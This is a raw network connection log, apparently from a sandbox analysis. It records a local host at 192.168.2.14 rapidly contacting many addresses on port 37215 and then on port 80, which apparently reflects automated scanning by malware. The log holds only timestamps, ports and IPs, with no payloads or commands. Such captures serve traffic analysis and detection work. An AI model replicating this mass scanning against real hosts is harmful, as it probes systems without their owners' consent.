Feb 27, 2025 07:08:34.689045906 CET	40852	37215	192.168.2.14	197.184.47.64
Feb 27, 2025 07:08:34.689152956 CET	57556	37215	192.168.2.14	197.151.244.255
Feb 27, 2025 07:08:34.689796925 CET	49946	37215	192.168.2.14	197.23.162.18
Feb 27, 2025 07:08:34.690459967 CET	43584	37215	192.168.2.14	197.81.122.47
Feb 27, 2025 07:08:34.691113949 CET	55778	37215	192.168.2.14	197.196.191.228
Feb 27, 2025 07:08:34.691767931 CET	54442	37215	192.168.2.14	197.158.163.249
Feb 27, 2025 07:08:34.692425966 CET	34192	37215	192.168.2.14	197.175.62.249
Feb 27, 2025 07:08:34.692908049 CET	37215	57572	197.234.239.154	192.168.2.14
Feb 27, 2025 07:08:34.692951918 CET	57572	37215	192.168.2.14	197.234.239.154
Feb 27, 2025 07:08:34.693065882 CET	50568	37215	192.168.2.14	197.201.172.214
Feb 27, 2025 07:08:34.693730116 CET	33500	37215	192.168.2.14	197.43.149.191
Feb 27, 2025 07:08:34.694359064 CET	45474	37215	192.168.2.14	197.0.59.184
Feb 27, 2025 07:08:34.695069075 CET	55304	37215	192.168.2.14	197.55.168.239
Feb 27, 2025 07:08:34.695748091 CET	37892	37215	192.168.2.14	197.222.249.18
Feb 27, 2025 07:08:34.696409941 CET	33762	37215	192.168.2.14	197.9.163.194
Feb 27, 2025 07:08:34.697155952 CET	53514	37215	192.168.2.14	197.99.235.121
Feb 27, 2025 07:08:34.697734118 CET	47002	37215	192.168.2.14	197.1.223.53
Feb 27, 2025 07:08:34.698401928 CET	34382	37215	192.168.2.14	197.208.163.89
Feb 27, 2025 07:08:34.699076891 CET	46152	37215	192.168.2.14	197.123.184.37
Feb 27, 2025 07:08:34.699739933 CET	50058	37215	192.168.2.14	197.143.63.188
Feb 27, 2025 07:08:34.700408936 CET	49884	37215	192.168.2.14	197.177.199.246
Feb 27, 2025 07:08:34.700890064 CET	37215	37892	197.222.249.18	192.168.2.14
Feb 27, 2025 07:08:34.700943947 CET	37892	37215	192.168.2.14	197.222.249.18
Feb 27, 2025 07:08:34.701066971 CET	35210	37215	192.168.2.14	197.25.106.16
Feb 27, 2025 07:08:34.701745987 CET	58272	37215	192.168.2.14	197.171.161.89
Feb 27, 2025 07:08:34.702426910 CET	53042	37215	192.168.2.14	197.27.193.249
Feb 27, 2025 07:08:34.703109026 CET	36864	37215	192.168.2.14	197.143.78.49
Feb 27, 2025 07:08:34.703792095 CET	34206	37215	192.168.2.14	197.79.152.119
Feb 27, 2025 07:08:34.704488993 CET	51120	37215	192.168.2.14	197.234.59.88
Feb 27, 2025 07:08:34.705527067 CET	60094	37215	192.168.2.14	197.207.18.102
Feb 27, 2025 07:08:34.705585003 CET	35702	37215	192.168.2.14	197.206.172.103
Feb 27, 2025 07:08:34.705626011 CET	40784	37215	192.168.2.14	197.38.11.254
Feb 27, 2025 07:08:34.705643892 CET	39058	37215	192.168.2.14	197.155.158.69
Feb 27, 2025 07:08:34.705670118 CET	43852	37215	192.168.2.14	197.113.68.20
Feb 27, 2025 07:08:34.705693960 CET	49944	37215	192.168.2.14	197.200.99.189
Feb 27, 2025 07:08:34.705718040 CET	43028	37215	192.168.2.14	197.188.78.180
Feb 27, 2025 07:08:34.705753088 CET	57380	37215	192.168.2.14	197.14.207.80
Feb 27, 2025 07:08:34.705779076 CET	58188	37215	192.168.2.14	197.13.197.215
Feb 27, 2025 07:08:34.705816984 CET	39760	37215	192.168.2.14	197.186.179.244
Feb 27, 2025 07:08:34.705847025 CET	47860	37215	192.168.2.14	197.210.45.80
Feb 27, 2025 07:08:34.705867052 CET	38006	37215	192.168.2.14	197.220.17.36
Feb 27, 2025 07:08:34.705889940 CET	38740	37215	192.168.2.14	197.153.124.75
Feb 27, 2025 07:08:34.705910921 CET	33606	37215	192.168.2.14	197.24.182.85
Feb 27, 2025 07:08:34.705948114 CET	59480	37215	192.168.2.14	197.225.220.135
Feb 27, 2025 07:08:34.705960035 CET	40852	37215	192.168.2.14	197.184.47.64
Feb 27, 2025 07:08:34.705986977 CET	57572	37215	192.168.2.14	197.234.239.154
Feb 27, 2025 07:08:34.706013918 CET	37892	37215	192.168.2.14	197.222.249.18
Feb 27, 2025 07:08:34.706063032 CET	60094	37215	192.168.2.14	197.207.18.102
Feb 27, 2025 07:08:34.706085920 CET	35702	37215	192.168.2.14	197.206.172.103
Feb 27, 2025 07:08:34.706104040 CET	40784	37215	192.168.2.14	197.38.11.254
Feb 27, 2025 07:08:34.706108093 CET	39058	37215	192.168.2.14	197.155.158.69
Feb 27, 2025 07:08:34.706118107 CET	43852	37215	192.168.2.14	197.113.68.20
Feb 27, 2025 07:08:34.706127882 CET	49944	37215	192.168.2.14	197.200.99.189
Feb 27, 2025 07:08:34.706136942 CET	43028	37215	192.168.2.14	197.188.78.180
Feb 27, 2025 07:08:34.706151009 CET	57380	37215	192.168.2.14	197.14.207.80
Feb 27, 2025 07:08:34.706157923 CET	58188	37215	192.168.2.14	197.13.197.215
Feb 27, 2025 07:08:34.706178904 CET	39760	37215	192.168.2.14	197.186.179.244
Feb 27, 2025 07:08:34.706186056 CET	47860	37215	192.168.2.14	197.210.45.80
Feb 27, 2025 07:08:34.706192970 CET	38006	37215	192.168.2.14	197.220.17.36
Feb 27, 2025 07:08:34.706202984 CET	38740	37215	192.168.2.14	197.153.124.75
Feb 27, 2025 07:08:34.706213951 CET	33606	37215	192.168.2.14	197.24.182.85
Feb 27, 2025 07:08:34.706233978 CET	59480	37215	192.168.2.14	197.225.220.135
Feb 27, 2025 07:08:34.706243038 CET	40852	37215	192.168.2.14	197.184.47.64
Feb 27, 2025 07:08:34.706250906 CET	57572	37215	192.168.2.14	197.234.239.154
Feb 27, 2025 07:08:34.706264973 CET	37892	37215	192.168.2.14	197.222.249.18
Feb 27, 2025 07:08:34.710541964 CET	37215	60094	197.207.18.102	192.168.2.14
Feb 27, 2025 07:08:34.710650921 CET	37215	35702	197.206.172.103	192.168.2.14
Feb 27, 2025 07:08:34.710660934 CET	37215	39058	197.155.158.69	192.168.2.14
Feb 27, 2025 07:08:34.710769892 CET	37215	40784	197.38.11.254	192.168.2.14
Feb 27, 2025 07:08:34.710778952 CET	37215	43852	197.113.68.20	192.168.2.14
Feb 27, 2025 07:08:34.710830927 CET	37215	49944	197.200.99.189	192.168.2.14
Feb 27, 2025 07:08:34.710839987 CET	37215	43028	197.188.78.180	192.168.2.14
Feb 27, 2025 07:08:34.710848093 CET	37215	57380	197.14.207.80	192.168.2.14
Feb 27, 2025 07:08:34.710973978 CET	37215	58188	197.13.197.215	192.168.2.14
Feb 27, 2025 07:08:34.710983038 CET	37215	39760	197.186.179.244	192.168.2.14
Feb 27, 2025 07:08:34.710990906 CET	37215	47860	197.210.45.80	192.168.2.14
Feb 27, 2025 07:08:34.711000919 CET	37215	38006	197.220.17.36	192.168.2.14
Feb 27, 2025 07:08:34.711009979 CET	37215	38740	197.153.124.75	192.168.2.14
Feb 27, 2025 07:08:34.711103916 CET	37215	33606	197.24.182.85	192.168.2.14
Feb 27, 2025 07:08:34.711142063 CET	37215	59480	197.225.220.135	192.168.2.14
Feb 27, 2025 07:08:34.711220980 CET	37215	40852	197.184.47.64	192.168.2.14
Feb 27, 2025 07:08:34.711229086 CET	37215	57572	197.234.239.154	192.168.2.14
Feb 27, 2025 07:08:34.711333990 CET	37215	37892	197.222.249.18	192.168.2.14
Feb 27, 2025 07:08:34.754544020 CET	37215	37892	197.222.249.18	192.168.2.14
Feb 27, 2025 07:08:34.754555941 CET	37215	57572	197.234.239.154	192.168.2.14
Feb 27, 2025 07:08:34.754563093 CET	37215	40852	197.184.47.64	192.168.2.14
Feb 27, 2025 07:08:34.754570961 CET	37215	59480	197.225.220.135	192.168.2.14
Feb 27, 2025 07:08:34.754578114 CET	37215	33606	197.24.182.85	192.168.2.14
Feb 27, 2025 07:08:34.754586935 CET	37215	38740	197.153.124.75	192.168.2.14
Feb 27, 2025 07:08:34.754594088 CET	37215	38006	197.220.17.36	192.168.2.14
Feb 27, 2025 07:08:34.754601002 CET	37215	47860	197.210.45.80	192.168.2.14
Feb 27, 2025 07:08:34.754604101 CET	37215	39760	197.186.179.244	192.168.2.14
Feb 27, 2025 07:08:34.754611015 CET	37215	58188	197.13.197.215	192.168.2.14
Feb 27, 2025 07:08:34.754618883 CET	37215	57380	197.14.207.80	192.168.2.14
Feb 27, 2025 07:08:34.754625082 CET	37215	43028	197.188.78.180	192.168.2.14
Feb 27, 2025 07:08:34.754631996 CET	37215	49944	197.200.99.189	192.168.2.14
Feb 27, 2025 07:08:34.754637957 CET	37215	43852	197.113.68.20	192.168.2.14
Feb 27, 2025 07:08:34.754645109 CET	37215	39058	197.155.158.69	192.168.2.14
Feb 27, 2025 07:08:34.754647970 CET	37215	40784	197.38.11.254	192.168.2.14
Feb 27, 2025 07:08:34.754653931 CET	37215	35702	197.206.172.103	192.168.2.14
Feb 27, 2025 07:08:34.754661083 CET	37215	60094	197.207.18.102	192.168.2.14
Feb 27, 2025 07:08:35.527087927 CET	28098	80	192.168.2.14	95.87.215.15
Feb 27, 2025 07:08:35.527091026 CET	28098	80	192.168.2.14	95.102.222.187
Feb 27, 2025 07:08:35.527087927 CET	28098	80	192.168.2.14	95.120.15.54
Feb 27, 2025 07:08:35.527096033 CET	28098	80	192.168.2.14	95.71.140.213
Feb 27, 2025 07:08:35.527101040 CET	28098	80	192.168.2.14	95.115.34.133
Feb 27, 2025 07:08:35.527091026 CET	28098	80	192.168.2.14	95.169.99.15
Feb 27, 2025 07:08:35.527091026 CET	28098	80	192.168.2.14	95.159.81.190
Feb 27, 2025 07:08:35.527096033 CET	28098	80	192.168.2.14	95.127.255.243
Feb 27, 2025 07:08:35.527131081 CET	28098	80	192.168.2.14	95.184.145.184
Feb 27, 2025 07:08:35.527131081 CET	28098	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:35.527159929 CET	28098	80	192.168.2.14	95.75.224.20
Feb 27, 2025 07:08:35.527177095 CET	28098	80	192.168.2.14	95.124.197.40
Feb 27, 2025 07:08:35.527172089 CET	28098	80	192.168.2.14	95.51.44.145
Feb 27, 2025 07:08:35.527177095 CET	28098	80	192.168.2.14	95.110.138.86
Feb 27, 2025 07:08:35.527177095 CET	28098	80	192.168.2.14	95.239.37.216
Feb 27, 2025 07:08:35.527177095 CET	28098	80	192.168.2.14	95.89.83.65
Feb 27, 2025 07:08:35.527177095 CET	28098	80	192.168.2.14	95.122.24.176
Feb 27, 2025 07:08:35.527172089 CET	28098	80	192.168.2.14	95.24.10.210
Feb 27, 2025 07:08:35.527185917 CET	28098	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:35.527210951 CET	28098	80	192.168.2.14	95.210.181.204
Feb 27, 2025 07:08:35.527210951 CET	28098	80	192.168.2.14	95.41.36.4
Feb 27, 2025 07:08:35.527254105 CET	28098	80	192.168.2.14	95.144.126.109
Feb 27, 2025 07:08:35.527301073 CET	28098	80	192.168.2.14	95.23.97.153
Feb 27, 2025 07:08:35.527327061 CET	28098	80	192.168.2.14	95.161.135.58
Feb 27, 2025 07:08:35.527327061 CET	28098	80	192.168.2.14	95.117.245.100
Feb 27, 2025 07:08:35.527327061 CET	28098	80	192.168.2.14	95.253.227.50
Feb 27, 2025 07:08:35.527327061 CET	28098	80	192.168.2.14	95.63.2.218
Feb 27, 2025 07:08:35.527327061 CET	28098	80	192.168.2.14	95.85.220.228
Feb 27, 2025 07:08:35.527327061 CET	28098	80	192.168.2.14	95.187.121.23
Feb 27, 2025 07:08:35.527327061 CET	28098	80	192.168.2.14	95.58.61.28
Feb 27, 2025 07:08:35.527327061 CET	28098	80	192.168.2.14	95.212.232.142
Feb 27, 2025 07:08:35.527335882 CET	28098	80	192.168.2.14	95.94.39.123
Feb 27, 2025 07:08:35.527352095 CET	28098	80	192.168.2.14	95.128.176.75
Feb 27, 2025 07:08:35.527352095 CET	28098	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:35.527352095 CET	28098	80	192.168.2.14	95.85.86.134
Feb 27, 2025 07:08:35.527394056 CET	28098	80	192.168.2.14	95.115.26.31
Feb 27, 2025 07:08:35.527396917 CET	28098	80	192.168.2.14	95.202.48.124
Feb 27, 2025 07:08:35.527396917 CET	28098	80	192.168.2.14	95.121.100.28
Feb 27, 2025 07:08:35.527430058 CET	28098	80	192.168.2.14	95.226.176.212
Feb 27, 2025 07:08:35.527437925 CET	28098	80	192.168.2.14	95.13.94.145
Feb 27, 2025 07:08:35.527450085 CET	28098	80	192.168.2.14	95.243.131.14
Feb 27, 2025 07:08:35.527461052 CET	28098	80	192.168.2.14	95.130.246.200
Feb 27, 2025 07:08:35.527461052 CET	28098	80	192.168.2.14	95.49.39.156
Feb 27, 2025 07:08:35.527508020 CET	28098	80	192.168.2.14	95.1.166.98
Feb 27, 2025 07:08:35.527508974 CET	28098	80	192.168.2.14	95.153.142.185
Feb 27, 2025 07:08:35.527508974 CET	28098	80	192.168.2.14	95.17.120.249
Feb 27, 2025 07:08:35.527522087 CET	28098	80	192.168.2.14	95.137.117.190
Feb 27, 2025 07:08:35.527548075 CET	28098	80	192.168.2.14	95.168.123.149
Feb 27, 2025 07:08:35.527549982 CET	28098	80	192.168.2.14	95.54.191.12
Feb 27, 2025 07:08:35.527580976 CET	28098	80	192.168.2.14	95.218.71.70
Feb 27, 2025 07:08:35.527582884 CET	28098	80	192.168.2.14	95.96.164.39
Feb 27, 2025 07:08:35.527605057 CET	28098	80	192.168.2.14	95.255.182.170
Feb 27, 2025 07:08:35.527612925 CET	28098	80	192.168.2.14	95.166.71.164
Feb 27, 2025 07:08:35.527614117 CET	28098	80	192.168.2.14	95.226.194.116
Feb 27, 2025 07:08:35.527650118 CET	28098	80	192.168.2.14	95.108.196.49
Feb 27, 2025 07:08:35.527654886 CET	28098	80	192.168.2.14	95.54.77.100
Feb 27, 2025 07:08:35.527657032 CET	28098	80	192.168.2.14	95.4.150.139
Feb 27, 2025 07:08:35.527683020 CET	28098	80	192.168.2.14	95.36.150.22
Feb 27, 2025 07:08:35.527710915 CET	28098	80	192.168.2.14	95.55.41.161
Feb 27, 2025 07:08:35.527710915 CET	28098	80	192.168.2.14	95.166.141.114
Feb 27, 2025 07:08:35.527710915 CET	28098	80	192.168.2.14	95.35.103.171
Feb 27, 2025 07:08:35.527718067 CET	28098	80	192.168.2.14	95.75.116.169
Feb 27, 2025 07:08:35.527760029 CET	28098	80	192.168.2.14	95.204.115.115
Feb 27, 2025 07:08:35.527760029 CET	28098	80	192.168.2.14	95.93.240.149
Feb 27, 2025 07:08:35.527765036 CET	28098	80	192.168.2.14	95.137.232.89
Feb 27, 2025 07:08:35.527779102 CET	28098	80	192.168.2.14	95.143.168.84
Feb 27, 2025 07:08:35.527828932 CET	28098	80	192.168.2.14	95.2.118.19
Feb 27, 2025 07:08:35.527831078 CET	28098	80	192.168.2.14	95.202.125.63
Feb 27, 2025 07:08:35.527852058 CET	28098	80	192.168.2.14	95.139.128.7
Feb 27, 2025 07:08:35.527853966 CET	28098	80	192.168.2.14	95.199.107.18
Feb 27, 2025 07:08:35.527859926 CET	28098	80	192.168.2.14	95.184.161.83
Feb 27, 2025 07:08:35.527894974 CET	28098	80	192.168.2.14	95.7.8.175
Feb 27, 2025 07:08:35.527895927 CET	28098	80	192.168.2.14	95.241.198.41
Feb 27, 2025 07:08:35.527898073 CET	28098	80	192.168.2.14	95.84.238.155
Feb 27, 2025 07:08:35.527906895 CET	28098	80	192.168.2.14	95.201.216.130
Feb 27, 2025 07:08:35.527942896 CET	28098	80	192.168.2.14	95.77.71.32
Feb 27, 2025 07:08:35.527946949 CET	28098	80	192.168.2.14	95.198.74.114
Feb 27, 2025 07:08:35.527961969 CET	28098	80	192.168.2.14	95.25.102.84
Feb 27, 2025 07:08:35.528003931 CET	28098	80	192.168.2.14	95.0.193.136
Feb 27, 2025 07:08:35.528004885 CET	28098	80	192.168.2.14	95.226.155.250
Feb 27, 2025 07:08:35.528007984 CET	28098	80	192.168.2.14	95.210.27.55
Feb 27, 2025 07:08:35.528019905 CET	28098	80	192.168.2.14	95.231.4.45
Feb 27, 2025 07:08:35.528024912 CET	28098	80	192.168.2.14	95.255.118.173
Feb 27, 2025 07:08:35.528043985 CET	28098	80	192.168.2.14	95.148.150.0
Feb 27, 2025 07:08:35.528063059 CET	28098	80	192.168.2.14	95.85.240.119
Feb 27, 2025 07:08:35.528081894 CET	28098	80	192.168.2.14	95.121.74.110
Feb 27, 2025 07:08:35.528136015 CET	28098	80	192.168.2.14	95.111.141.73
Feb 27, 2025 07:08:35.528137922 CET	28098	80	192.168.2.14	95.16.17.155
Feb 27, 2025 07:08:35.528139114 CET	28098	80	192.168.2.14	95.102.109.199
Feb 27, 2025 07:08:35.528177023 CET	28098	80	192.168.2.14	95.183.218.45
Feb 27, 2025 07:08:35.528177023 CET	28098	80	192.168.2.14	95.76.47.64
Feb 27, 2025 07:08:35.528179884 CET	28098	80	192.168.2.14	95.25.239.168
Feb 27, 2025 07:08:35.528214931 CET	28098	80	192.168.2.14	95.223.195.222
Feb 27, 2025 07:08:35.528220892 CET	28098	80	192.168.2.14	95.40.245.174
Feb 27, 2025 07:08:35.528244019 CET	28098	80	192.168.2.14	95.222.214.5
Feb 27, 2025 07:08:35.528245926 CET	28098	80	192.168.2.14	95.193.159.72
Feb 27, 2025 07:08:35.528254986 CET	28098	80	192.168.2.14	95.241.170.122
Feb 27, 2025 07:08:35.528254986 CET	28098	80	192.168.2.14	95.236.152.91
Feb 27, 2025 07:08:35.528254986 CET	28098	80	192.168.2.14	95.209.71.167
Feb 27, 2025 07:08:35.528320074 CET	28098	80	192.168.2.14	95.218.0.98
Feb 27, 2025 07:08:35.528322935 CET	28098	80	192.168.2.14	95.177.111.134
Feb 27, 2025 07:08:35.528338909 CET	28098	80	192.168.2.14	95.250.43.139
Feb 27, 2025 07:08:35.528348923 CET	28098	80	192.168.2.14	95.214.136.163
Feb 27, 2025 07:08:35.528352022 CET	28098	80	192.168.2.14	95.203.17.104
Feb 27, 2025 07:08:35.528378010 CET	28098	80	192.168.2.14	95.55.175.155
Feb 27, 2025 07:08:35.528384924 CET	28098	80	192.168.2.14	95.128.128.103
Feb 27, 2025 07:08:35.528407097 CET	28098	80	192.168.2.14	95.26.141.187
Feb 27, 2025 07:08:35.528415918 CET	28098	80	192.168.2.14	95.67.100.130
Feb 27, 2025 07:08:35.528465033 CET	28098	80	192.168.2.14	95.80.193.10
Feb 27, 2025 07:08:35.528465033 CET	28098	80	192.168.2.14	95.24.66.199
Feb 27, 2025 07:08:35.528465033 CET	28098	80	192.168.2.14	95.255.175.218
Feb 27, 2025 07:08:35.528500080 CET	28098	80	192.168.2.14	95.245.46.38
Feb 27, 2025 07:08:35.528501987 CET	28098	80	192.168.2.14	95.232.214.54
Feb 27, 2025 07:08:35.528527975 CET	28098	80	192.168.2.14	95.99.3.108
Feb 27, 2025 07:08:35.528549910 CET	28098	80	192.168.2.14	95.140.227.89
Feb 27, 2025 07:08:35.528579950 CET	28098	80	192.168.2.14	95.54.161.77
Feb 27, 2025 07:08:35.528582096 CET	28098	80	192.168.2.14	95.251.60.174
Feb 27, 2025 07:08:35.528582096 CET	28098	80	192.168.2.14	95.68.195.125
Feb 27, 2025 07:08:35.528619051 CET	28098	80	192.168.2.14	95.121.225.43
Feb 27, 2025 07:08:35.528629065 CET	28098	80	192.168.2.14	95.42.197.89
Feb 27, 2025 07:08:35.528635979 CET	28098	80	192.168.2.14	95.98.71.216
Feb 27, 2025 07:08:35.528635979 CET	28098	80	192.168.2.14	95.11.155.59
Feb 27, 2025 07:08:35.528660059 CET	28098	80	192.168.2.14	95.115.103.156
Feb 27, 2025 07:08:35.528664112 CET	28098	80	192.168.2.14	95.186.240.248
Feb 27, 2025 07:08:35.528669119 CET	28098	80	192.168.2.14	95.57.107.151
Feb 27, 2025 07:08:35.528701067 CET	28098	80	192.168.2.14	95.174.202.89
Feb 27, 2025 07:08:35.528701067 CET	28098	80	192.168.2.14	95.46.151.30
Feb 27, 2025 07:08:35.528706074 CET	28098	80	192.168.2.14	95.184.236.93
Feb 27, 2025 07:08:35.528758049 CET	28098	80	192.168.2.14	95.155.19.160
Feb 27, 2025 07:08:35.528760910 CET	28098	80	192.168.2.14	95.190.24.238
Feb 27, 2025 07:08:35.528763056 CET	28098	80	192.168.2.14	95.167.35.248
Feb 27, 2025 07:08:35.528769970 CET	28098	80	192.168.2.14	95.136.22.247
Feb 27, 2025 07:08:35.528784037 CET	28098	80	192.168.2.14	95.54.111.238
Feb 27, 2025 07:08:35.528786898 CET	28098	80	192.168.2.14	95.234.209.101
Feb 27, 2025 07:08:35.528804064 CET	28098	80	192.168.2.14	95.78.19.65
Feb 27, 2025 07:08:35.528840065 CET	28098	80	192.168.2.14	95.235.141.143
Feb 27, 2025 07:08:35.528841972 CET	28098	80	192.168.2.14	95.229.57.154
Feb 27, 2025 07:08:35.528892994 CET	28098	80	192.168.2.14	95.110.200.110
Feb 27, 2025 07:08:35.528893948 CET	28098	80	192.168.2.14	95.10.194.210
Feb 27, 2025 07:08:35.528898001 CET	28098	80	192.168.2.14	95.159.135.189
Feb 27, 2025 07:08:35.528919935 CET	28098	80	192.168.2.14	95.158.218.122
Feb 27, 2025 07:08:35.528919935 CET	28098	80	192.168.2.14	95.115.179.29
Feb 27, 2025 07:08:35.528954983 CET	28098	80	192.168.2.14	95.216.90.120
Feb 27, 2025 07:08:35.528955936 CET	28098	80	192.168.2.14	95.95.41.146
Feb 27, 2025 07:08:35.528997898 CET	28098	80	192.168.2.14	95.62.44.104
Feb 27, 2025 07:08:35.528999090 CET	28098	80	192.168.2.14	95.3.59.247
Feb 27, 2025 07:08:35.529002905 CET	28098	80	192.168.2.14	95.143.167.232
Feb 27, 2025 07:08:35.529007912 CET	28098	80	192.168.2.14	95.233.59.232
Feb 27, 2025 07:08:35.529036045 CET	28098	80	192.168.2.14	95.115.61.27
Feb 27, 2025 07:08:35.529068947 CET	28098	80	192.168.2.14	95.137.79.232
Feb 27, 2025 07:08:35.529071093 CET	28098	80	192.168.2.14	95.148.253.183
Feb 27, 2025 07:08:35.529088974 CET	28098	80	192.168.2.14	95.179.147.253
Feb 27, 2025 07:08:35.529099941 CET	28098	80	192.168.2.14	95.167.248.85
Feb 27, 2025 07:08:35.529103994 CET	28098	80	192.168.2.14	95.53.220.155
Feb 27, 2025 07:08:35.529123068 CET	28098	80	192.168.2.14	95.206.29.59
Feb 27, 2025 07:08:35.529162884 CET	28098	80	192.168.2.14	95.158.229.55
Feb 27, 2025 07:08:35.529170036 CET	28098	80	192.168.2.14	95.103.14.35
Feb 27, 2025 07:08:35.529340982 CET	28098	80	192.168.2.14	95.38.109.1
Feb 27, 2025 07:08:35.529354095 CET	28098	80	192.168.2.14	95.25.222.109
Feb 27, 2025 07:08:35.529360056 CET	28098	80	192.168.2.14	95.230.221.48
Feb 27, 2025 07:08:35.532923937 CET	80	28098	95.87.215.15	192.168.2.14
Feb 27, 2025 07:08:35.532938957 CET	80	28098	95.102.222.187	192.168.2.14
Feb 27, 2025 07:08:35.532951117 CET	80	28098	95.120.15.54	192.168.2.14
Feb 27, 2025 07:08:35.532955885 CET	80	28098	95.169.99.15	192.168.2.14
Feb 27, 2025 07:08:35.532965899 CET	80	28098	95.159.81.190	192.168.2.14
Feb 27, 2025 07:08:35.532975912 CET	80	28098	95.75.224.20	192.168.2.14
Feb 27, 2025 07:08:35.532984972 CET	80	28098	95.115.34.133	192.168.2.14
Feb 27, 2025 07:08:35.532994986 CET	80	28098	95.184.145.184	192.168.2.14
Feb 27, 2025 07:08:35.533004045 CET	80	28098	95.212.6.85	192.168.2.14
Feb 27, 2025 07:08:35.533004999 CET	28098	80	192.168.2.14	95.87.215.15
Feb 27, 2025 07:08:35.533004999 CET	28098	80	192.168.2.14	95.120.15.54
Feb 27, 2025 07:08:35.533004999 CET	28098	80	192.168.2.14	95.75.224.20
Feb 27, 2025 07:08:35.533006907 CET	28098	80	192.168.2.14	95.102.222.187
Feb 27, 2025 07:08:35.533006907 CET	28098	80	192.168.2.14	95.169.99.15
Feb 27, 2025 07:08:35.533013105 CET	80	28098	95.71.140.213	192.168.2.14
Feb 27, 2025 07:08:35.533025026 CET	80	28098	95.127.255.243	192.168.2.14
Feb 27, 2025 07:08:35.533025980 CET	28098	80	192.168.2.14	95.159.81.190
Feb 27, 2025 07:08:35.533035040 CET	80	28098	95.124.197.40	192.168.2.14
Feb 27, 2025 07:08:35.533041954 CET	28098	80	192.168.2.14	95.115.34.133
Feb 27, 2025 07:08:35.533042908 CET	28098	80	192.168.2.14	95.184.145.184
Feb 27, 2025 07:08:35.533042908 CET	28098	80	192.168.2.14	95.212.6.85
Feb 27, 2025 07:08:35.533044100 CET	80	28098	95.204.107.177	192.168.2.14
Feb 27, 2025 07:08:35.533055067 CET	80	28098	95.110.138.86	192.168.2.14
Feb 27, 2025 07:08:35.533062935 CET	28098	80	192.168.2.14	95.71.140.213
Feb 27, 2025 07:08:35.533063889 CET	80	28098	95.239.37.216	192.168.2.14
Feb 27, 2025 07:08:35.533062935 CET	28098	80	192.168.2.14	95.127.255.243
Feb 27, 2025 07:08:35.533066034 CET	28098	80	192.168.2.14	95.124.197.40
Feb 27, 2025 07:08:35.533073902 CET	80	28098	95.89.83.65	192.168.2.14
Feb 27, 2025 07:08:35.533082962 CET	80	28098	95.122.24.176	192.168.2.14
Feb 27, 2025 07:08:35.533087015 CET	80	28098	95.210.181.204	192.168.2.14
Feb 27, 2025 07:08:35.533087969 CET	28098	80	192.168.2.14	95.204.107.177
Feb 27, 2025 07:08:35.533094883 CET	28098	80	192.168.2.14	95.110.138.86
Feb 27, 2025 07:08:35.533097029 CET	80	28098	95.41.36.4	192.168.2.14
Feb 27, 2025 07:08:35.533107042 CET	80	28098	95.51.44.145	192.168.2.14
Feb 27, 2025 07:08:35.533116102 CET	80	28098	95.24.10.210	192.168.2.14
Feb 27, 2025 07:08:35.533118963 CET	28098	80	192.168.2.14	95.239.37.216
Feb 27, 2025 07:08:35.533126116 CET	80	28098	95.144.126.109	192.168.2.14
Feb 27, 2025 07:08:35.533132076 CET	28098	80	192.168.2.14	95.122.24.176
Feb 27, 2025 07:08:35.533138037 CET	28098	80	192.168.2.14	95.41.36.4
Feb 27, 2025 07:08:35.533138990 CET	80	28098	95.23.97.153	192.168.2.14
Feb 27, 2025 07:08:35.533152103 CET	80	28098	95.94.39.123	192.168.2.14
Feb 27, 2025 07:08:35.533153057 CET	50780	80	192.168.2.14	95.215.18.102
Feb 27, 2025 07:08:35.533162117 CET	80	28098	95.128.176.75	192.168.2.14
Feb 27, 2025 07:08:35.533169985 CET	28098	80	192.168.2.14	95.89.83.65
Feb 27, 2025 07:08:35.533170938 CET	28098	80	192.168.2.14	95.210.181.204
Feb 27, 2025 07:08:35.533175945 CET	80	28098	95.161.135.58	192.168.2.14
Feb 27, 2025 07:08:35.533176899 CET	28098	80	192.168.2.14	95.144.126.109
Feb 27, 2025 07:08:35.533178091 CET	28098	80	192.168.2.14	95.51.44.145
Feb 27, 2025 07:08:35.533178091 CET	28098	80	192.168.2.14	95.24.10.210
Feb 27, 2025 07:08:35.533185005 CET	80	28098	95.117.245.100	192.168.2.14
Feb 27, 2025 07:08:35.533193111 CET	80	28098	95.107.74.132	192.168.2.14
Feb 27, 2025 07:08:35.533199072 CET	28098	80	192.168.2.14	95.23.97.153
Feb 27, 2025 07:08:35.533200979 CET	80	28098	95.253.227.50	192.168.2.14
Feb 27, 2025 07:08:35.533206940 CET	28098	80	192.168.2.14	95.94.39.123
Feb 27, 2025 07:08:35.533210993 CET	80	28098	95.63.2.218	192.168.2.14
Feb 27, 2025 07:08:35.533211946 CET	28098	80	192.168.2.14	95.128.176.75
Feb 27, 2025 07:08:35.533216000 CET	28098	80	192.168.2.14	95.107.74.132
Feb 27, 2025 07:08:35.533219099 CET	80	28098	95.85.86.134	192.168.2.14
Feb 27, 2025 07:08:35.533229113 CET	28098	80	192.168.2.14	95.161.135.58
Feb 27, 2025 07:08:35.533230066 CET	80	28098	95.85.220.228	192.168.2.14
Feb 27, 2025 07:08:35.533229113 CET	28098	80	192.168.2.14	95.117.245.100
Feb 27, 2025 07:08:35.533238888 CET	80	28098	95.187.121.23	192.168.2.14
Feb 27, 2025 07:08:35.533246994 CET	80	28098	95.58.61.28	192.168.2.14
Feb 27, 2025 07:08:35.533255100 CET	80	28098	95.212.232.142	192.168.2.14
Feb 27, 2025 07:08:35.533261061 CET	28098	80	192.168.2.14	95.85.86.134
Feb 27, 2025 07:08:35.533272028 CET	80	28098	95.115.26.31	192.168.2.14
Feb 27, 2025 07:08:35.533283949 CET	80	28098	95.202.48.124	192.168.2.14
Feb 27, 2025 07:08:35.533293009 CET	80	28098	95.121.100.28	192.168.2.14
Feb 27, 2025 07:08:35.533312082 CET	28098	80	192.168.2.14	95.253.227.50
Feb 27, 2025 07:08:35.533312082 CET	28098	80	192.168.2.14	95.63.2.218
Feb 27, 2025 07:08:35.533312082 CET	28098	80	192.168.2.14	95.85.220.228
Feb 27, 2025 07:08:35.533312082 CET	28098	80	192.168.2.14	95.187.121.23
Feb 27, 2025 07:08:35.533312082 CET	28098	80	192.168.2.14	95.58.61.28
Feb 27, 2025 07:08:35.533312082 CET	28098	80	192.168.2.14	95.212.232.142
Feb 27, 2025 07:08:35.533317089 CET	28098	80	192.168.2.14	95.115.26.31
Feb 27, 2025 07:08:35.533320904 CET	28098	80	192.168.2.14	95.202.48.124
Feb 27, 2025 07:08:35.533320904 CET	28098	80	192.168.2.14	95.121.100.28
